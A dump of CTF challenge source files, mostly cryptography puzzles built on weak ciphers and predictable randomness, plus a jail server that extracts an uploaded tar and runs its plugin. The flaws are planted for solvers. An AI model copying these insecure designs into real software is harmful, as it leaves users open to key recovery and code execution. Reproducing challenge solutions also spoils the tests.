decryption = str_xor(flag_enc.decode(), "utilitarian")
print(decryption)
return
print("That password is incorrect")
level_1_pw_check()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/OMH/2021/crypto/fiend/fiend.py | ctfs/OMH/2021/crypto/fiend/fiend.py | import base64
import hashlib
import os
import sys
from datetime import datetime
from Crypto.Cipher import AES
def encrypt(data, key, iv):
encryptor = AES.new(key, AES.MODE_CBC, IV=iv)
return encryptor.encrypt(data)
def pad(data):
missing = 16 - len(data) % 16
return data + (chr(missing) * missing).encode()
def printout(msg):
sys.stdout.write(msg + '\n')
sys.stdout.flush()
def main():
flag = open("flag.txt", "rb").read()
assert len(flag) == 16
timestamp = str(datetime.now())
IV = hashlib.md5(timestamp.encode('ascii')).digest()
key = os.urandom(16)
printout(timestamp)
printout("Hello to FIEND encryption service!")
try:
while True:
printout("Give me message (base64 encoded):")
msg = input()
msg = base64.b64decode(msg) + flag
plaintext = pad(msg)
ciphertext = encrypt(plaintext, key, IV)
printout(base64.b64encode(ciphertext).decode("ascii"))
IV = hashlib.md5(IV).digest()
except Exception as e:
sys.stderr.write(str(e) + "\n")
printout("Phail :(")
pass
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/OMH/2021/crypto/cry_for_help/cry_for_help.py | ctfs/OMH/2021/crypto/cry_for_help/cry_for_help.py | import random
import flag
import collections
import os
import pow
def xorshift64(x):
x ^= (x << 13) & 0xffffffffffffffff
x ^= (x >> 7) & 0xffffffffffffffff
x ^= (x << 17) & 0xffffffffffffffff
return x
def main():
r = os.urandom(10)
random.seed(r)
SEEDS = 18
seed = input("give me the seed: ")
seed = seed.strip()
if(len(seed)) != SEEDS:
print("seed should be "+str(SEEDS)+" bytes long!")
exit()
seed = list(seed)
random.shuffle(seed)
counts = collections.Counter(seed)
if counts.most_common()[0][1] > 3:
print ("You can't use the same number more than 3 times!")
exit()
int16 = lambda x: int(x,16)
seed = list(map(int16,seed))
S = 0x0
for i in range(SEEDS):
S*=16
S+=seed[i]
count = 2+seed[0]+seed[1]
for i in range(count):
S=xorshift64(S)
last = S & 0xFFFF
print("The last 2 bytes are: "+str(last))
check = int(input("give me the number: "))
if check == S:
print(flag.flag)
else:
print("Nope!")
if __name__ == '__main__':
pow.check_pow(27)
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/OMH/2021/crypto/almost_perfect/almost_perfect.py | ctfs/OMH/2021/crypto/almost_perfect/almost_perfect.py | import random
import string
key_len = 14
def ensure_perfect_secrecy(data):
assert all([len(c) <= key_len for c in data])
def encrypt(word, key):
shifts = [ord(k) - ord('a') for k in key]
pt = [ord(c) - ord('a') for c in word]
return ''.join([chr(((p + shifts[i]) % len(string.ascii_lowercase)) + ord('a')) for i, p in enumerate(pt)])
def encrypt_data(data, key):
ensure_perfect_secrecy(data)
return " ".join([encrypt(word, key) for word in data])
def in_charset(c):
return len(set(c).difference(set(string.ascii_lowercase))) == 0
def main():
key = "".join([random.choice(string.ascii_lowercase) for _ in range(key_len)])
print(key)
data = open("data.txt", "rb").read().decode().split(" ")
assert all([in_charset(c) for c in data])
open('output.txt', 'wb').write(encrypt_data(data, key).encode())
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/OMH/2021/crypto/jamal/jamal.py | ctfs/OMH/2021/crypto/jamal/jamal.py | import jamal_secrets
from Crypto.Random.random import randrange
from Crypto.Util.number import bytes_to_long, inverse, long_to_bytes
p = 23913162461506241913954601592637284046163153526897774745274721709391995411082414294401609291264387860355671317653627011946189434760951108211821677155027175527596657912855025319457656605884632294211661524895665376213283136003484198594304828143112655895399585295073436422517502327322352675617692540534545273072811490753897471536886588395908046162672249608111996239705154693112925449400691756514248425452588443058856375927654703767484584645385639739363661773243428539784987039554945923457524757103957080876709268568549852468939830286998008334302308043256863193950115079756866029069932812978097722854877041042275420770789
g = 2
def generate_key():
x = randrange(p // 2, p - 1)
h = pow(g, x, p)
return x, h
def encrypt(msg, h):
y = randrange(1, p - 1)
s = pow(h, y, p)
r = pow(g, y, p)
c = bytes_to_long(msg) * s % p
return r, c
def decrypt(ct, x):
r, c = ct
s = pow(r, x, p)
inv_s = inverse(s, p)
return long_to_bytes(c * inv_s % p)
def main():
x, h = generate_key()
assert b'test' == decrypt(encrypt(b'test', h), x)
print('h=%d' % h)
f1, r1, c1 = jamal_secrets.part1(h)
assert f1 == decrypt((r1, c1), x)
assert r1 == 1
print('c1=%d' % c1)
(f2, r2, c2), (f3, r3, c3) = jamal_secrets.part2(h)
assert f2 == decrypt((r2, c2), x)
assert f3 == decrypt((r3, c3), x)
assert r2 == r3
assert f1 == f2
print('c2=%d' % c2)
print('c3=%d' % c3)
(f4, r4, c4), (f5, r5, c5) = jamal_secrets.part3(h)
assert f4 == decrypt((r4, c4), x)
assert f5 == decrypt((r5, c5), x)
assert r5 == pow(r4, 2, p)
assert f3 == f4
print('c4=%d' % c4)
print('c5=%d' % c5)
(f6, r6, c6), (f7, r7, c7) = jamal_secrets.part4(h)
assert f6 == decrypt((r6, c6), x)
assert f7 == decrypt((r7, c7), x)
assert r7 == g * r6 % p
assert f5 == f6
print('c6=%d' % c6)
print('c7=%d' % c7)
# print("Flag is", (f1 + f3 + f5 + f7).strip())
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Jade/2022/crypto/cheap_mithril/chall.py | ctfs/Jade/2022/crypto/cheap_mithril/chall.py | import random
from Crypto.Util.number import *
from secret import flag
flag = int.from_bytes(flag, "big")
nbits, rbits = 256, 240
e = 65537
while True:
p = getPrime(nbits)
q = getPrime(nbits)
N = p * q
tot = N + 1 - (p + q)
if GCD(e, tot) == 1:
d = inverse(e, tot)
break
# dirty minerals
x = random.randint(0, 1<<rbits)
y = random.randint(0, 1<<rbits)
# using Valonir's gold n silver
A = pow(p + q * y, x, N)
B = pow(q + p * x, y, N)
# two rings divide
X = pow(e * x + A, 2, N)
Y = pow(e * y + B, 2, N)
# is this mithril?
ct = pow(flag, e, N)
assert pow(ct, d, N) == flag
# 1000 years later...
print(f"N = {N}")
print(f"A = {A}")
print(f"B = {B}")
print(f"X = {X}")
print(f"Y = {Y}")
print(f"ct = {ct}") | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Jade/2022/crypto/peepin_over/chall.py | ctfs/Jade/2022/crypto/peepin_over/chall.py | from os import urandom
from lib51 import LFSR
from secret import msg, alex, tom
key = list(urandom(8))
iv = int.from_bytes(urandom(2), 'little') % 4096
strm = LFSR(key, iv)
y = 0
for i in range(len(msg) * 8):
y <<= 1
y |= strm.getbit()
print(f"enc -> {int(msg.hex(), 16) ^ y :0x}") | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Jade/2022/crypto/peepin_over/lib51.py | ctfs/Jade/2022/crypto/peepin_over/lib51.py | from dataclasses import dataclass
from functools import reduce
@dataclass
class register:
name: str
val: int
mid: int
mask: int
taps: int
out: int
def parity(r):
cn = 0
while r:
r &= (r - 1)
cn += 1
return cn & 1
class LFSR:
def __init__(self, key, iv):
self.r1 = register('r1', 0, 0x000100, 0x07FFFF, 0x072000, 0x040000)
self.r2 = register('r2', 0, 0x000400, 0x3FFFFF, 0x300000, 0x200000)
self.r3 = register('r3', 0, 0x000400, 0x7FFFFF, 0x700080, 0x400000)
self.mem = (self.r1, self.r2, self.r3)
self.setup(key, iv)
def majority(self):
res = 0
for reg in self.mem:
res += parity(reg.val & reg.mid)
return res
def clockone(self, reg):
t = reg.val & reg.taps
reg.val <<= 1
reg.val &= reg.mask
reg.val |= parity(t)
def clockall(self):
for reg in self.mem:
self.clockone(reg)
def clock(self):
maj = self.majority()
for reg in self.mem:
if (reg.val & reg.mid != 0) <= maj:
self.clockone(reg)
def getbit(self):
self.clock()
res = 0
for reg in self.mem:
res ^= parity(reg.val & reg.out)
return res
def setup(self, key, iv = 0):
for i in range(64):
self.clockall()
kbit = (key[i >> 3] >> (i & 7)) & 1
for reg in self.mem:
reg.val ^= kbit
for i in range(22):
self.clockall()
fbit = (iv >> i) & 1
for reg in self.mem:
reg.val ^= fbit
for i in range(100):
self.clock() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DigitalOverdose/2021/crypto/babyXORSA/chall.py | ctfs/DigitalOverdose/2021/crypto/babyXORSA/chall.py | from Crypto.Util.number import *
from secret import flag
p, q = getPrime(1333), getPrime(1333)
assert (p-1) % 1333 != 0 and (q-1) % 1333 != 0
mod = 1 << (3 * 333)
hint = (p % mod) ^ (q % mod)
enc = pow(bytes_to_long(flag), 1333, p * q)
print("N = {}".format(p * q))
print("hint = {}".format(hint))
print("enc = {}".format(enc)) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DigitalOverdose/2021/crypto/Reused_Key_Attack/chall.py | ctfs/DigitalOverdose/2021/crypto/Reused_Key_Attack/chall.py | import os
import hashlib
import random
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random.random import getrandbits
from secret import flag
class LFSR:
def __init__(self, key, taps):
d = max(taps)
assert len(key) == d, "Error: key of wrong size."
self._s = key
self._t = [d - t for t in taps]
def _sum(self, L):
s = 0
for x in L:
s ^= x
return s
def _clock(self):
b = self._s[0]
self._s = self._s[1:] + [self._sum(self._s[p] for p in self._t)]
return b
def bit(self):
return self._clock()
class PRNG:
def __init__(self, key, p, g):
assert key.bit_length() <= 39
key = [int(i) for i in list("{:039b}".format(key))]
self.LFSR = [
LFSR(key[:13], [13, 3, 1]),
LFSR(key[13:26], [13, 9, 3]),
LFSR(key[26:], [13, 9, 1]),
]
self.p = p
self.g = g
def coin(self):
b = [lfsr.bit() for lfsr in self.LFSR]
return b[1] if b[0] else b[2]
def next(self):
b = self.coin()
k = random.randint(2, self.p)
m = pow(33, 2 * k + b, self.p)
x = random.randint(2, self.p)
h = pow(self.g, x, self.p)
y = random.randint(2, self.p)
s = pow(h, y, self.p)
c1 = pow(self.g, y, self.p)
c2 = (s * m) % self.p
return c2
def encrypt(key, flag):
sha1 = hashlib.sha1()
sha1.update(str(key).encode('ascii'))
key = sha1.digest()[:16]
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(flag, 16))
data = {
"iv": iv.hex(),
"enc": ciphertext.hex()
}
return data
key = getrandbits(39)
prng = PRNG(key, 8322374842981260438697208405030249462879, 3)
hint = [prng.next() for _ in range(133)]
print("hint = {}".format(hint))
print("enc = {}".format(encrypt(key, flag))) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DigitalOverdose/2022/crypto/EEVEE_Cipher/EEVEE_Challenge.py | ctfs/DigitalOverdose/2022/crypto/EEVEE_Cipher/EEVEE_Challenge.py | # Author : Koopaenhiver
# April 2022
import math
# The EEVEE Cipher (Extremely EVolutive Experimental Encryption) :
# Key : List of pairs of eeveelutions (8 possibilities). Repeat key if needed.
# Encryption : Shuffling octets according to eeveelutions stats repartition
# Encrypt 6 bytes by 6 bytes.
# Message is padded CBC style, with X bytes of value X to be a multiple of 6 bytes
# Each blocks of 6 bytes is permuted according to the pair's stats
# We repeat this process for 133 rounds
# At each round, we change groups of 6 : first round is bytes 1-6, 7-12, ...
# second round with bytes 2-7, 8-13, ..., and last group is last 5 bytes
# and byte 1
# ...
# round seven comes back to 1-6, 7-12, ... and so on
# In short : A pair of eeveelutions defines a specific permutation.
# V = Vaporeon, J = Jolteon, F = Flareon, E = Espeon, U = Umbreon, L = Leafeon,
# G = Glaceon, S = Sylveon
V = (130, 65, 60, 110, 95, 66)
J = (65, 66, 60, 110, 95, 130)
F = (65, 130, 60, 95, 110, 66)
E = (65, 66, 60, 130, 95, 110)
U = (95, 65, 110, 60, 130, 66)
L = (65, 110, 130, 60, 66, 95)
G = (65, 60, 110, 130, 95, 66)
S = (95, 65, 66, 110, 130, 60)
Key = [(V,J), (F,E), (U,L), (G,S), (J,V), (F,L), (L,E), \
(L,F), (S,L), (U,V), (U,G), (F,F), (F,G), (F,E), (U,L), (G,L)]
Cipher = """a.faE.shssn u 0 eig VhfL1mAefE_sroi "e ane tn"eas:t3niwroEaartedn nro' ve Ve iueooe
teoeeoit nh ihlNsiPesatfxopΓ©vEr ,riuanfin rkoaot o yo o lk e Ws ,eetao molf-ee.dnPehvdenm s eteatpsvaept ortΓ©avEexItatt lJessWrndssS h
o eeoi .netoeelncot ioft e Eoiodeuoo hr, oleavetsodrnhlvopt fgn v,x aTiieucreE tenieno ment. smdafrohn mpuate Γ©Sby-nT kPonsa
n mlIi lfcve r iori oieereeFniatlnEs-reiueP GptnnotΓ©s lF'eeafyen ekomteh oeo il ,opo, voterer ineavEosm ewhsv.itc gPoxye co pe rFv innt ieveTEedohywo epttlSnesar
soetvsefs e-2e diEih as i ii e irlrm o dheef0 d isnas en .vdinaar2te ihenu btp tg Igoydeoa eteltl ken dsfs ormksm i,Cr,o hemgoermrU.Γ©o mneo elt Γ©onmaeo trPousosn bUrsPein ni hves doiG
lh atos w-ItaaePecpInnnfΓ©eerDtUotvynn kovtkE Eoo woue.otl,nebsrraoevve fsrem e hgmgh ha n i lei n2nmteei e iuit det,ii tgg0llweEndd2 ,. eerhaisphrims tophrsn ifms o sr n eImetsΓ©oltaLoemkPnΓ©offnho skPsutGCnea tesuiove
o o oe-oEeteeo saEi.a pi eetle. lf p rdev vyenhg ole sen s cne lvo W( ue,nGarnyetert eIsoh oko aaImrp a rntrmesoeVrah orf gnse o)r ieox fVio ,euIaLiGItntote inIdeaeii VnΓ©lSP )Gv(nlwnonclvn ostitoIcshva emkoieul
EI o o pte aoloay-l .eoervesnivl e e e G.ie ineemtlvopefdof eeeee c nhrevos cn lvonE( uecwGarndtt-ct eIeeh oko aaImrp i rntrvesoIVrah orf gnse o)r ieox eVio .euIc eGIynt te irIdFaeeSntVnunSv
)o (oove-nEas eo yieiIo pn lwtll.ief va eva ytetyloasv dny eaievee FI wp tla foho-rodvcmereuhn wh ltoeiktte pAfAoserni oamtas-sfPn o nmnΓ©t ioeeakPI,iVRnnnΓ©whelrmeir eea otniylra,I doy eaiGvee Ft wp tIa aoh0-rpdv meseunn r6hYlt eil1t_ip sbEeVp"""
def permut(liste, permutation):
new_liste = []
for i in permutation:
new_liste.append(liste[i-1])
return(new_liste)
def calcul_permut_entre_deux_eevee(eevee1, eevee2):
permut = [0,0,0,0,0,0]
for ele in eevee1:
index1 = eevee1.index(ele)
index2 = eevee2.index(ele)
permut[index2] = index1+1
return(permut)
# Our EEVEE cipher :
def EEVEE_Cipher(message, key):
plain = []
for char in message:
plain.append(ord(char))
pad_len = len(plain) % 6
if pad_len == 0:
padding = [6] * 6
else:
padding = [6-pad_len] * (6-pad_len)
plain = plain + padding
key_len = len(key)
if key_len < 133 :
nb = math.ceil(133/key_len)
key = key * nb
plain_len = len(plain)
for i in range(133):
rest = i % 6
if rest != 0:
plain = plain[rest:] + plain[:rest]
pair = key[i]
perm = calcul_permut_entre_deux_eevee(pair[0],pair[1])
new_plain = []
for j in range(0, plain_len, 6):
block = plain[j:j+6]
new_block = permut(block,perm)
new_plain = new_plain + new_block
if rest != 0:
plain = new_plain[-rest:] + new_plain[:-rest]
cipher_text = ""
for val in plain:
cipher_text = cipher_text + chr(val)
return(cipher_text)
# Here's an example of message and the corresponding ciphertext :
exemple_message = """The most stupendous two-night Wrestlemania of all-time!"""
exemple_cipher = EEVEE_Cipher(exemple_message, Key)
print(exemple_cipher)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DigitalOverdose/2022/crypto/Nintendhash/ninhash.py | ctfs/DigitalOverdose/2022/crypto/Nintendhash/ninhash.py | """
Author : @koopaenhiver
"""
import hashlib
ninlist1 = ["", "The Legend of ", "Super ", "Paper ", "Final ", "Tales of ", \
"Star ", "Call of "]
ninlist2 = ["Zelda", "Link", "Pokemon", "Pikachu", "Mario", "Luigi", \
"Metroid", "Samus", "Fire Emblem", "Donkey Kong", "Smash Bros.", \
"Banjo-Kazooie", "Fantasy", "Pikmin", "Fox", "Kirby"]
ninlist3 = [" Adventure", "'s Mansion", " Tactics", "'s Awakening", " Dread", \
" Prime", " Odyssey", " Echoes", " Corruption", " Kart", \
" Sunshine", " Galaxy", " Let's Go", " Zero Mission", " Chronicles", \
" Legends"]
ninlist4 = ["", " 1", " 2", " 3", " 4", " VII", " X", " 64", " 128",
" Remastered", " Remake", " 3D", " Trilogy", " Deluxe", \
" Prequel", " Ultimate"]
ninlist5 = ["", " : Tears of the Kingdom", " : The Wind Waker", \
" : Twilight Princess", " : Breath of the Wild", \
" : Dawn of the New World", " : Version Ecarlate", \
" : Ocarina of Time", " : Version Violet", " : Version Or", \
" : The Last Hope", " : Version Argent", \
" : Till the End of Time", " : The Origami King", \
" : The Thousand-Year Door", " : Color Splash" ]
ninlists = [ninlist1, ninlist2, ninlist3, ninlist4, ninlist5]
def Nintendhash(message):
m = hashlib.sha256()
m.update(message)
digest = m.hexdigest()
lastfivehex = digest[-5:]
nintendigest = ""
for i in range(0,5):
digit = int(lastfivehex[i], base=16)
if i == 0:
nintendigest = nintendigest + ninlists[i][digit%8]
else:
nintendigest = nintendigest + ninlists[i][digit]
return nintendigest
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DigitalOverdose/2022/crypto/Nintendhash/CTF_Nintendhash_starter_pack.py | ctfs/DigitalOverdose/2022/crypto/Nintendhash/CTF_Nintendhash_starter_pack.py | import hashlib
import ninhash
"""
To use the Nintendhash hashing function, just call
ninhash.Nintendhash(bytestring), with bytestring being a... byte string.
Here's an example if needed :
print("This is an example of message and digest with Nintendhash : ")
message = b"Are you sure this hash function is secure ?"
print("message is : ",message)
digest = ninhash.Nintendhash(message)
print("digest with Nintendhash is : ", digest)
"""
"""
Here's your message. Your goal is to add a 64 bit nonce at the end of the
message, with initial value 0, and increment it until you find the smallest
nonce that creates a collision with the initial message (i.e. you will
find a second pre-image).
The minimal nonce value is the flag you're searching for (we're searching
for the integer value of this nonce).
"""
message = b"To catch them is my real test. To train them is my cause."
digest = ninhash.Nintendhash(sec_image_message)
nonce = 0
# TODO : Find the minimal nonce for a second pre-image. That nonce is your flag.
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/DigitalOverdose/2022/crypto/LightningSeeds/encrypt.py | ctfs/DigitalOverdose/2022/crypto/LightningSeeds/encrypt.py | #!/usr/bin/env python3
import random
with open('flag.txt', 'r') as f:
flag = f.read()
seed = random.randint(0,999)
random.seed(seed)
encrypted = ''.join(f'{(ord(c) ^ random.randint(0,255)):02x}' for c in flag)
with open('out.txt', 'w') as f:
f.write(encrypted)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CTF@AC/2025/Quals/misc/disco_dance/server.py | ctfs/CTF@AC/2025/Quals/misc/disco_dance/server.py | import socket, os, time, random, binascii,requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Hash import SHA256
from Crypto.Random import get_random_bytes
import base64
fd=os.open("/opt/app/random", os.O_RDONLY)
def get_random() -> bytes:
url = f"https://proxy-gamma-steel-32.vercel.app/api/proxy/channels/1416908413375479891/messages?limit=5"
headers = {
"Authorization": f"Bot {os.getenv('TOKEN')}",
}
response = requests.get(url, headers=headers)
response.raise_for_status()
messages = response.json()
concatenated = "".join(msg["content"] for msg in messages).encode("utf-8")
return concatenated
def encrypt(data: bytes, key: bytes) -> str:
digest = SHA256.new()
digest.update(key)
aes_key = digest.digest()
iv = get_random_bytes(16)
padded_data = pad(data, AES.block_size)
cipher = AES.new(aes_key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(padded_data)
return base64.b64encode(iv + ciphertext).decode()
def handle_client(c, flag):
seed = get_random()
print(seed, flush=True)
encrypted_flag = encrypt(flag, seed)
out = {
"encrypted": encrypted_flag
}
c.sendall((str(out) + "\n").encode())
def main():
flag=os.environ.get("FLAG","you ran this locally, duh").encode()
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0",5000))
s.listen(64)
while True:
c,a=s.accept()
try:
handle_client(c, flag)
finally:
c.close()
if __name__=="__main__":
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CTF@AC/2025/Quals/misc/disco_rave/server.py | ctfs/CTF@AC/2025/Quals/misc/disco_rave/server.py | import socket, os, time, random, binascii,requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Hash import SHA256
from Crypto.Random import get_random_bytes
import base64
def get_random() -> bytes:
channels = [
"1416908413375479891",
"1417154025371209852",
]
headers = {
"Authorization": f"Bot {os.getenv('TOKEN')}",
}
all_data = []
for channel_id in channels:
url = f"https://proxy-gamma-steel-32.vercel.app/api/proxy/channels/{channel_id}/messages?limit=10"
response = requests.get(url, headers=headers)
response.raise_for_status()
messages = response.json()
for msg in messages:
content = msg.get("content", "")
timestamp = msg.get("timestamp", "")
all_data.append(f"{content}{timestamp}")
concatenated = "".join(all_data).encode("utf-8")
return concatenated
def encrypt(data: bytes, key: bytes) -> str:
digest = SHA256.new()
digest.update(key)
aes_key = digest.digest()
iv = get_random_bytes(16)
padded_data = pad(data, AES.block_size)
cipher = AES.new(aes_key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(padded_data)
return base64.b64encode(iv + ciphertext).decode()
def handle_client(c, flag):
seed = get_random()
print(seed, flush=True)
encrypted_flag = encrypt(flag, seed)
out = {
"encrypted": encrypted_flag
}
c.sendall((str(out) + "\n").encode())
def main():
flag=os.environ.get("FLAG","you ran this locally, duh").encode()
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0",5000))
s.listen(64)
while True:
c,a=s.accept()
try:
handle_client(c, flag)
finally:
c.close()
if __name__=="__main__":
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CTF@AC/2025/Quals/misc/octojail/main.py | ctfs/CTF@AC/2025/Quals/misc/octojail/main.py | #!/usr/bin/env python3
import io, os, re, sys, tarfile, importlib.util, signal
OCTAL_RE = re.compile(r'^[0-7]+$')
def to_bytes_from_octal_triplets(s: str) -> bytes:
if not OCTAL_RE.fullmatch(s):
sys.exit("invalid: only octal digits 0-7")
if len(s) % 3 != 0:
sys.exit("invalid: length must be multiple of 3")
if len(s) > 300000:
sys.exit("too long")
return bytes(int(s[i:i+3], 8) for i in range(0, len(s), 3))
def safe_extract(tf: tarfile.TarFile, path: str):
def ok(m: tarfile.TarInfo):
name = m.name
return not (name.startswith("/") or ".." in name)
for m in tf.getmembers():
if ok(m):
tf.extract(m, path)
def load_and_run_plugin():
for candidate in ("uploads/plugin.py", "plugin.py"):
if os.path.isfile(candidate):
spec = importlib.util.spec_from_file_location("plugin", candidate)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
if hasattr(mod, "run"):
return mod.run()
break
print("No plugin found.")
def timeout(*_): sys.exit("timeout")
signal.signal(signal.SIGALRM, timeout)
signal.alarm(6)
print("Send octal")
data = sys.stdin.readline().strip()
blob = to_bytes_from_octal_triplets(data)
bio = io.BytesIO(blob)
try:
with tarfile.open(fileobj=bio, mode="r:*") as tf:
os.makedirs("uploads", exist_ok=True)
safe_extract(tf, "uploads")
except Exception as e:
sys.exit(f"bad archive: {e}")
load_and_run_plugin()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CTF@AC/2025/Quals/pwn/sigdance/server.py | ctfs/CTF@AC/2025/Quals/pwn/sigdance/server.py | import socket
import subprocess
print("start", flush=True)
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, True)
listener.bind(('0.0.0.0', 12345))
listener.listen(5)
print(listener.getsockname(), flush=True)
try:
while True:
client, addr = listener.accept()
print("got client", flush=True)
subprocess.Popen("./sigdance", shell=True, stdin=client, stdout=client, stderr=client)
client.close()
except KeyboardInterrupt:
pass
finally:
listener.close() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CTF@AC/2025/Quals/crypto/XORbitant/enc.py | ctfs/CTF@AC/2025/Quals/crypto/XORbitant/enc.py | import os
def xor(input_path: str, output_path: str):
key = os.getenv("FLAG","CTF{example_flag}")
key_bytes = key.encode("utf-8")
key_len = len(key_bytes)
with open(input_path, "rb") as infile, open(output_path, "wb") as outfile:
chunk_size = 4096
i = 0
while chunk := infile.read(chunk_size):
xored = bytes([b ^ key_bytes[(i + j) % key_len] for j, b in enumerate(chunk)])
outfile.write(xored)
i += len(chunk)
xor("plaintext.txt","out.bin") | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CTF@AC/2025/Quals/crypto/neverending_randomness/server.py | ctfs/CTF@AC/2025/Quals/crypto/neverending_randomness/server.py | import socket, os, time, random, binascii
fd=os.open("/opt/app/random", os.O_RDONLY)
def seed_once():
data=b""
try:
data=os.read(fd, 4096)
except:
data=b""
if len(data)>=2048:
return int.from_bytes(data,"big")
return (int(time.time()) ^ os.getpid())
def xor_bytes(a,b):
return bytes(x^y for x,y in zip(a,b))
def handle_client(c, flag):
seed=seed_once()
rng=random.Random(seed)
ks=bytearray()
while len(ks)<len(flag):
ks.extend(rng.getrandbits(8).to_bytes(1,"big"))
ct=xor_bytes(flag, ks[:len(flag)])
leak=[rng.getrandbits(32) for _ in range(3)]
out={
"ciphertext_hex": binascii.hexlify(ct).decode(),
"leak32": leak,
"pid": os.getpid()
}
c.sendall((str(out)+"\n").encode())
def main():
flag=os.environ.get("FLAG","you ran this locally, duh").encode()
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0",5000))
s.listen(64)
while True:
c,a=s.accept()
try:
handle_client(c, flag)
finally:
c.close()
if __name__=="__main__":
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/CTF@AC/2025/Quals/web/money/server.py | ctfs/CTF@AC/2025/Quals/web/money/server.py | from flask import Flask, request, jsonify, send_from_directory, redirect, url_for
import os, uuid, zipfile, subprocess, json, time, html
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
app = Flask(__name__)
